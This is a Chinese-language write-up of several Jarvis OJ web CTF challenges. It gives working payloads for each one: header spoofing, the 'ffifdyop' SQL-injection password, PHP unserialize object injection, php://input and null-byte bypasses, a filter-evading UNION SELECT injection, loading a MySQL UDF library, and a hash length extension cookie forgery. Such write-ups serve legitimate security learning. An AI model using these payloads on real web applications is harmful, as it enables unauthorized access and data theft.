Jarvis OJ -WEB-WRITE-UP（一）

原创

郁离歌 于 2018-04-27 22:17:45 发布
分类专栏： CTF-WRITE-UP 文章标签： jarvisoj ctf学习 writeup

Jarvis OJ -WEB-WRITE-UP（一）

PORT51

题目链接: http://web.jarvisoj.com:32770/
访问页面之后，页面显示：

> Please use port 51 to visit this site.

当时看到了这个还以为是需要访问这个网站的51端口，但是这个网址已经确定了是访问32770端口，后来一直都没有思路。最后才发现是要求本地以51端口去访问这个网址。payload如下：

```
curl --local-port 51 http://web.jarvisoj.com:32770/
```

最后就可以拿到flag。(这里说一下，应该是服务器那边挂了，所以并没有flag回显)

LOCALHOST

题目入口：http://web.jarvisoj.com:32774/

进去之后说：

> **localhost access only!!**

那么抓包用xff伪造本地登陆试试看，拿到flag。

Login

需要密码才能获得flag哦。

题目链接：http://web.jarvisoj.com:32772/

打开发现就一个输入password的框，没什么思路，抓包看下，在响应头里看到hint。

参考一篇文章：http://www.freebuf.com/column/150063.html

输入**ffifdyop**即可得到flag。

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口，你能通过漏洞发现神盾局的秘密吗？

题目入口：http://web.jarvisoj.com:32768/

进入之后看一下源码，发现：

```
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
```

解码一下base64.是shield.jpg。很明显的任意文件读取。先读一下showimg.php

```
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
```

再读一下index.php。

```
<?php
 require_once('shield.php');
 $x = new Shield();
 isset($_GET['class']) && $g = $_GET['class'];
 if (!empty($g)) {
  $x = unserialize($g);
 }
 echo $x->readfile();
?>
```

再读shield.php

```
<?php
 //flag is in pctf.php
 class Shield {
  public $file;
  function __construct($filename = '') {
   $this -> file = $filename;
  }

  function readfile() {
   if (!empty($this->file) && stripos($this->file,'..')===FALSE
   && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    return @file_get_contents($this->file);
   }
  }
 }
?>
```

综合分析，题目过滤了".."、"/"、"\\"，"pctf"

最后是要将实例进行序列化，最后在index.php提交序列化后的内容。

最关键的代码就是,在进行初始化的时候，将$filename赋值为pctf.php

```
function __construct($filename = '') {
$this -> file = $filename;
}
```

传入得flag。

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

IN A Mess

连出题人自己都忘了flag放哪了，只记得好像很混乱的样子。

题目入口：http://web.jarvisoj.com:32780/

查看源代码，发现index.phps.进去之后发现是代码审计。

```
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
 header('Location: index.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
 echo 'Hahahahahaha';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and
substr($b,0,1)!=4)
{
 require("flag.txt");
}
else
{
 print "work harder!harder!harder!";
}


?>
```

id可以用字母绕过，a用伪协议php://input，b用%00截断就好了

```
http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111

post内容："1112 is a nice lab!"
```

然后进入下一关 。
发现是一个注入。过滤了空格和unionselectfrom，但是可以使用双写绕过。

```
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/
seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#
```

RE?

咦，奇怪，说好的WEB题呢，怎么成逆向了？不过里面有个help_me函数挺有意思的哦

拿到一个so文件，问大腿，大腿说：直接逆啊！我：？？？后来搜了一波，发现udf.so可以导入mysql。

```
cp udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin
```

然后cd进/usr/lib/mysql/plugin目录wget一下

```
sudo wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
```

然后进入mysql之中，根据提示可以利用help_me函数！利用如下语句！（神奇）

```
mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
```

然后我们查看一下

```
select help_me();
```

然后说答案在getflag中，同样我们构造getflag函数

```
mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
```

然后查看

```
select getflag();
```

拿到flag。

flag在管理员手里

只有管理员才能获得flag，你能想办法获得吗？

题目链接：http://web.jarvisoj.com:32778/

进去发现说只有admin可以拿flag，抓包看下，发现有个guest，改一下admin，发回去，发现并没有什么luan用，拿工具扫一波目录。发现index.php~源码泄露。

```
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<!--?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3-->Welcome Admin. Your flag is } else { echo &quot;
<h3>Only Admin can see the flag!!</h3>&quot;; } ?&gt;
</body>
</html>
```

发现好像是个反序列化加哈希长度扩展攻击。
反序列化在php版本低的时候可以使用%00截断。

```
原先校验的内容：;"tseug":5:s
想要添加的内容：;"nimda":5:s
原hash值：3a4727d57463f122833d9e732f94e4e0
以及一个未知的salt长度
```

这里需要用到hashpump，salt可以直接暴力求解，结果如下

反序一下

```
role = s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
hsh = fcdc3840332555511c4e4323f6decb07
```

然后改一下cookie提交就行啦

给一个具体一点的哈希长度扩展攻击解释
http://www.freebuf.com/articles/web/69264.html